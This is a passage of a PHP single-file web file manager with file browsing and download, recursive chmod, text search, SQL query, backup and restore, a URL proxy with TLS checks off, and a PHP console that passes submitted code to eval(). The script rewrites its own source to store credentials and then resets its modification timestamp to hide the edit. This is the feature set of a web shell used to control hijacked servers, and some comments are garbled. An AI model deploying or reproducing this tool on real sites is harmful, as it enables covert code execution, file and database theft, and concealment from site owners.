	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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